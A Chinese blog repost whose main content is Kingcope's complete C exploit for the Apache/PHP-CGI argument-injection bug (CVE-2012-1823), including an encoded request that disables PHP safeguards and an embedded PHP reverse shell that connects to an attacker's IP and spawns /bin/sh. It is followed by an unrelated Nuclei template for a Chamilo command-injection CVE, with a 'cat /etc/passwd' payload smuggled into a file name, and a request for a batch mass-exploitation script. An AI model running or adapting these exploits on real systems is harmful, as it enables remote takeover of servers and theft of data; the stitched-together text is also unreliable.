Apache / PHP 5.x Remote Code Execution Exploit

本文详细介绍了Apache与PHP组合中的代码执行漏洞,重点分析了Debian和Ubuntu上默认安装的php5-cgi包存在的安全缺陷。通过设置特定的php.ini配置项,攻击者可以在不受安全检查的情况下执行任意PHP脚本,实现对系统的恶意操作。
测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

  1. /* Apache Magica by Kingcope */
  2. /* gcc apache-magika.c -o apache-magika -lssl */
  3. /* This is a code execution bug in the combination of Apache and PHP.
  4. On Debian and Ubuntu the vulnerability is present in the default install
  5. of the php5-cgi package. When the php5-cgi package is installed on Debian and
  6. Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
  7. /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
  8. the binary because this binary has a security check enabled when installed with
  9. Apache http server and this security check is circumvented by the exploit.
  10. When accessing the php-cgi binary the security check will block the request and
  11. will not execute the binary.
  12. In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
  13. check is done when the php.ini configuration setting cgi.force_redirect is set
  14. and the php.ini configuration setting cgi.redirect_status_env is set to no.
  15. This makes it possible to execute the binary bypassing the Security check by
  16. setting these two php.ini settings.
  17. Prior to this code for the Security check getopt is called and it is possible
  18. to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
  19. -d switch. If both values are set to zero and the request is sent to the server
  20. php-cgi gets fully executed and we can use the payload in the POST data field
  21. to execute arbitrary php and therefore we can execute programs on the system.
  22. apache-magika.c is an exploit that does exactly the prior described. It does
  23. support SSL.
  24. /* Affected and tested versions
  25. PHP 5.3.10
  26. PHP 5.3.8-1
  27. PHP 5.3.6-13
  28. PHP 5.3.3
  29. PHP 5.2.17
  30. PHP 5.2.11
  31. PHP 5.2.6-3
  32. PHP 5.2.6+lenny16 with Suhosin-Patch
  33. Affected versions
  34. PHP prior to 5.3.12
  35. PHP prior to 5.4.2
  36. Unaffected versions
  37. PHP 4 - getopt parser unexploitable
  38. PHP 5.3.12 and up
  39. PHP 5.4.2 and up
  40. Unaffected versions are patched by CVE-2012-1823.
  41. */
  42. /* .
  43. /'\rrq rk
  44. . // \\ .
  45. .x.//fco\\-|-
  46. '//cmtco\\zt
  47. //6meqrg.\\tq
  48. //_________\\'
  49. EJPGQO
  50. apache-magica.c by Kingcope
  51. */
  52.  
  53. #include<stdio.h>
  54. #include<stdlib.h>
  55. #include<unistd.h>
  56. #include<getopt.h>
  57. #include<sys/types.h>
  58. #include<stddef.h>
  59. #include<openssl/rand.h>
  60. #include<openssl/ssl.h>
  61. #include<openssl/err.h>
  62. #include<netdb.h>
  63. #include<sys/socket.h>
  64. #include<netinet/in.h>
  65.  
  66. typedefstruct{
  67. int sockfd;
  68. SSL *handle;
  69. SSL_CTX *ctx;
  70. } connection;
  71.  
  72. void usage(char*argv[])
  73. {
  74. printf("usage: %s <--target target> <--port port> <--protocol http|https> " \
  75. "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter]\n",
  76. argv[0]);
  77. exit(1);
  78. }
  79.  
  80. char poststr[]="POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \
  81. "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \
  82. "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \
  83. "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \
  84. "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \
  85. "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \
  86. "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \
  87. "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \
  88. "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \
  89. "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \
  90. "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \
  91. "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \
  92. "Host: %s\r\n" \
  93. "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \
  94. "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \
  95. "Content-Type: application/x-www-form-urlencoded\r\n" \
  96. "Content-Length: %d\r\n" \
  97. "Connection: close\r\n\r\n%s";
  98. char phpstr[]="<?php\n" \
  99. "set_time_limit(0);\n" \
  100. "$ip = '%s';\n" \
  101. "$port = %d;\n" \
  102. "$chunk_size = 1400;\n" \
  103. "$write_a = null;\n" \
  104. "$error_a = null;\n" \
  105. "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';\n" \
  106. "$daemon = 0;\n" \
  107. "$debug = 0;\n" \
  108. "if (function_exists('pcntl_fork')) {\n" \
  109. " $pid = pcntl_fork(); \n" \
  110. " if ($pid == -1) {\n" \
  111. " printit(\"ERROR: Can't fork\");\n" \
  112. " exit(1);\n" \
  113. " }\n" \
  114. " if ($pid) {\n" \
  115. " exit(0);\n" \
  116. " }\n" \
  117. " if (posix_setsid() == -1) {\n" \
  118. " printit(\"Error: Can't setsid()\");\n" \
  119. " exit(1);\n" \
  120. " }\n" \
  121. " $daemon = 1;\n" \
  122. "} else {\n" \
  123. " printit(\"WARNING: Failed to daemonise.\");\n" \
  124. "}\n" \
  125. "chdir(\"/\");\n" \
  126. "umask(0);\n" \
  127. "$sock = fsockopen($ip, $port, $errno, $errstr, 30);\n" \
  128. "if (!$sock) {\n" \
  129. " printit(\"$errstr ($errno)\");\n" \
  130. " exit(1);\n" \
  131. "}\n" \
  132. "$descriptorspec = array(\n" \
  133. " 0 => array(\"pipe\", \"r\"),\n" \
  134. " 1 => array(\"pipe\", \"w\"),\n" \
  135. " 2 => array(\"pipe\", \"w\")\n" \
  136. ");\n" \
  137. "$process = proc_open($shell, $descriptorspec, $pipes);\n" \
  138. "if (!is_resource($process)) {\n" \
  139. " printit(\"ERROR: Can't spawn shell\");\n" \
  140. " exit(1);\n" \
  141. "}\n" \
  142. "stream_set_blocking($pipes[0], 0);\n" \
  143. "stream_set_blocking($pipes[1], 0);\n" \
  144. "stream_set_blocking($pipes[2], 0);\n" \
  145. "stream_set_blocking($sock, 0);\n" \
  146. "while (1) {\n" \
  147. " if (feof($sock)) {\n" \
  148. " printit(\"ERROR: Shell connection terminated\");\n" \
  149. " break;\n" \
  150. " }\n" \
  151. " if (feof($pipes[1])) {\n" \
  152. " printit(\"ERROR: Shell process terminated\");\n" \
  153. " break;\n" \
  154. " }\n" \
  155. " $read_a = array($sock, $pipes[1], $pipes[2]);\n" \
  156. " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n" \
  157. " if (in_array($sock, $read_a)) {\n" \
  158. " if ($debug) printit(\"SOCK READ\");\n" \
  159. " $input = fread($sock, $chunk_size);\n" \
  160. " if ($debug) printit(\"SOCK: $input\");\n" \
  161. " fwrite($pipes[0], $input);\n" \
  162. " }\n" \
  163. " if (in_array($pipes[1], $read_a)) {\n" \
  164. " if ($debug) printit(\"STDOUT READ\");\n" \
  165. " $input = fread($pipes[1], $chunk_size);\n" \
  166. " if ($debug) printit(\"STDOUT: $input\");\n" \
  167. " fwrite($sock, $input);\n" \
  168. " }\n" \
  169. " if (in_array($pipes[2], $read_a)) {\n" \
  170. " if ($debug) printit(\"STDERR READ\");\n" \
  171. " $input = fread($pipes[2], $chunk_size);\n" \
  172. " if ($debug) printit(\"STDERR: $input\");\n" \
  173. " fwrite($sock, $input);\n" \
  174. " }\n" \
  175. "}\n" \
  176. "\n" \
  177. "fclose($sock);\n" \
  178. "fclose($pipes[0]);\n" \
  179. "fclose($pipes[1]);\n" \
  180. "fclose($pipes[2]);\n" \
  181. "proc_close($process);\n" \
  182. "function printit ($string) {\n" \
  183. " if (!$daemon) {\n" \
  184. " print \"$string\n\";\n" \
  185. " }\n" \
  186. "}\n" \
  187. "exit(1);\n" \
  188. "?>";
  189.  
  190. struct sockaddr_in *gethostbyname_(char*hostname,unsignedshort port)
  191. {
  192. struct hostent *he;
  193. struct sockaddr_in server,*servercopy;
  194. if((he=gethostbyname(hostname))== NULL){
  195. printf("Hostname cannot be resolved\n");
  196. exit(255);
  197. }
  198. servercopy = malloc(sizeof(struct sockaddr_in));
  199. if(!servercopy){
  200. printf("malloc error (1)\n");
  201. exit(255);
  202. }
  203. memset(&server,'\0',sizeof(struct sockaddr_in));
  204. memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
  205. server.sin_family = AF_INET;
  206. server.sin_port = htons(port);
  207. memcpy(servercopy,&server,sizeof(struct sockaddr_in));
  208. return servercopy;
  209. }
  210.  
  211. char*sslread(connection *c)
  212. {
  213. char*rc = NULL;
  214. int received, count =0, count2=0;
  215. char ch;
  216.  
  217. for(;;)
  218. {
  219. if(!rc)
  220. rc = calloc(1024,sizeof(char)+1);
  221. else
  222. if(count2 %1024==0){
  223. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
  224. }
  225. received = SSL_read(c->handle,&ch,1);
  226. if(received ==1){
  227. rc[count++]= ch;
  228. count2++;
  229. if(count2 >1024*5)
  230. break;
  231. }
  232. else
  233. break;
  234. }
  235. return rc;
  236. }
  237.  
  238. char*read_(int sockfd)
  239. {
  240. char*rc = NULL;
  241. int received, count =0, count2=0;
  242. char ch;
  243.  
  244. for(;;)
  245. {
  246. if(!rc)
  247. rc = calloc(1024,sizeof(char)+1);
  248. else
  249. if(count2 %1024==0){
  250. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
  251. }
  252. received = read(sockfd,&ch,1);
  253. if(received ==1){
  254. rc[count++]= ch;
  255. count2++;
  256. if(count2 >1024*5)
  257. break;
  258. }
  259. else
  260. break;
  261. }
  262. return rc;
  263. }
  264.  
  265. void main(int argc,char*argv[])
  266. {
  267. char*target,*protocol,*targetip,*writestr,*tmpstr,*readbuf=NULL,
  268. *interpreter,*reverseip,*reverseportstr,*forceinterpreter=NULL;
  269. char httpsflag=0;
  270. unsignedshort port=0, reverseport=0;
  271. struct sockaddr_in *server;
  272. int sockfd;
  273. unsignedint writesize, tmpsize;
  274. unsignedint i;
  275. connection *sslconnection;
  276. printf("-== Apache Magika by Kingcope ==-\n");
  277. for(;;)
  278. {
  279. int c;
  280. int option_index=0;
  281. staticstruct option long_options[]={
  282. {"target", required_argument,0,0},
  283. {"port", required_argument,0,0},
  284. {"protocol", required_argument,0,0},
  285. {"reverse-ip", required_argument,0,0},
  286. {"reverse-port", required_argument,0,0},
  287. {"force-interpreter", required_argument,0,0},
  288. {0,0,0,0}
  289. };
  290. c = getopt_long(argc, argv,"", long_options,&option_index);
  291. if(c <0)
  292. break;
  293. switch(c){
  294. case0:
  295. switch(option_index){
  296. case0:
  297. if(optarg){
  298. target = calloc(strlen(optarg)+1,sizeof(char));
  299. if(!target){
  300. printf("calloc error (2)\n");
  301. exit(255);
  302. }
  303. memcpy(target, optarg, strlen(optarg)+1);
  304. }
  305. break;
  306. case1:
  307. if(optarg)
  308. port = atoi(optarg);
  309. break;
  310. case2:
  311. protocol = calloc(strlen(optarg)+1,sizeof(char));
  312. if(!protocol){
  313. printf("calloc error (3)\n");
  314. exit(255);
  315. }
  316. memcpy(protocol, optarg, strlen(optarg)+1);
  317. if(!strcmp(protocol,"https"))
  318. httpsflag=1;
  319. break;
  320. case3:
  321. reverseip = calloc(strlen(optarg)+1,sizeof(char));
  322. if(!reverseip){
  323. printf("calloc error (4)\n");
  324. exit(255);
  325. }
  326. memcpy(reverseip, optarg, strlen(optarg)+1);
  327. break;
  328. case4:
  329. reverseport = atoi(optarg);
  330. reverseportstr = calloc(strlen(optarg)+1,sizeof(char));
  331. if(!reverseportstr){
  332. printf("calloc error (5)\n");
  333. exit(255);
  334. }
  335. memcpy(reverseportstr, optarg, strlen(optarg)+1);
  336. break;
  337. case5:
  338. forceinterpreter = calloc(strlen(optarg)+1,sizeof(char));
  339. if(!forceinterpreter){
  340. printf("calloc error (6)\n");
  341. exit(255);
  342. }
  343. memcpy(forceinterpreter, optarg, strlen(optarg)+1);
  344. break;
  345. default:
  346. usage(argv);
  347. }
  348. break;
  349. default:
  350. usage(argv);
  351. }
  352. }
  353.  
  354. if((optind < argc)||!target ||!protocol ||!port ||
  355. !reverseip ||!reverseport){
  356. usage(argv);
  357. }
  358. server = gethostbyname_(target, port);
  359. if(!server){
  360. printf("Error while resolving hostname. (7)\n");
  361. exit(255);
  362. }
  363.  
  364. char*interpreters[5];
  365. int ninterpreters =5;
  366. interpreters[0]= strdup("/cgi-bin/php");
  367. interpreters[1]= strdup("/cgi-bin/php5");
  368. interpreters[2]= strdup("/cgi-bin/php-cgi");
  369. interpreters[3]= strdup("/cgi-bin/php.cgi");
  370. interpreters[4]= strdup("/cgi-bin/php4");
  371. for(i=0;i<ninterpreters;i++){
  372. interpreter = interpreters[i];
  373. if(forceinterpreter){
  374. interpreter = strdup(forceinterpreter);
  375. }
  376. if(forceinterpreter && i)
  377. break;
  378. printf("%s\n", interpreter);
  379. sockfd = socket(AF_INET, SOCK_STREAM,0);
  380. if(sockfd <1){
  381. printf("socket error (8)\n");
  382. exit(255);
  383. }
  384. if(connect(sockfd,(void*)server,sizeof(struct sockaddr_in))<0){
  385. printf("connect error (9)\n");
  386. exit(255);
  387. }
  388. if(httpsflag){
  389. sslconnection =(connection*) malloc(sizeof(connection));
  390. if(!sslconnection){
  391. printf("malloc error (10)\n");
  392. exit(255);
  393. }
  394. sslconnection->handle = NULL;
  395. sslconnection->ctx = NULL;
  396.  
  397. SSL_library_init();
  398.  
  399. sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
  400. if(!sslconnection->ctx){
  401. printf("SSL_CTX_new error (11)\n");
  402. exit(255);
  403. }
  404.  
  405. sslconnection->handle = SSL_new(sslconnection->ctx);
  406. if(!sslconnection->handle){
  407. printf("SSL_new error (12)\n");
  408. exit(255);
  409. }
  410. if(!SSL_set_fd(sslconnection->handle, sockfd)){
  411. printf("SSL_set_fd error (13)\n");
  412. exit(255);
  413. }
  414. if(SSL_connect(sslconnection->handle)!=1){
  415. printf("SSL_connect error (14)\n");
  416. exit(255);
  417. }
  418. }
  419. tmpsize = strlen(phpstr)+ strlen(reverseip)+ strlen(reverseportstr)+64;
  420. tmpstr =(char*)calloc(tmpsize,sizeof(char));
  421. snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
  422. writesize = strlen(target)+ strlen(interpreter)+
  423. strlen(poststr)+ strlen(tmpstr)+64;
  424. writestr =(char*)calloc(writesize,sizeof(char));
  425. snprintf(writestr, writesize, poststr, interpreter,
  426. target, strlen(tmpstr), tmpstr);
  427. if(!httpsflag){
  428. write(sockfd, writestr, strlen(writestr));
  429. readbuf = read_(sockfd);
  430. }else{
  431. SSL_write(sslconnection->handle, writestr, strlen(writestr));
  432. readbuf = sslread(sslconnection);
  433. }
  434. if(readbuf){
  435. printf("***SERVER RESPONSE***\n\n%s\n\n", readbuf);
  436. }else{
  437. printf("read error (15)\n");
  438. exit(255);
  439. }
  440. }
  441. exit(1);
  442. }

转载于:https://www.cnblogs.com/security4399/p/3400375.html

id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: "true" max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:"Chamilo" - http.component:"chamilo" - cpe:"cpe:2.3:a:chamilo:chamilo" tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 <?xml version="1.0" encoding="UTF-8"?> <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{{RootURL}}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope> matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp,并且读取当前目录下的文件 批量执行 ,例如,python CVE-2023-34960.py -f .8.txt -c "需要执行的命令" 并将执行成功的结果输出 -o 9.txt 添加选项-o 8.txt的文本文件
03-27
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值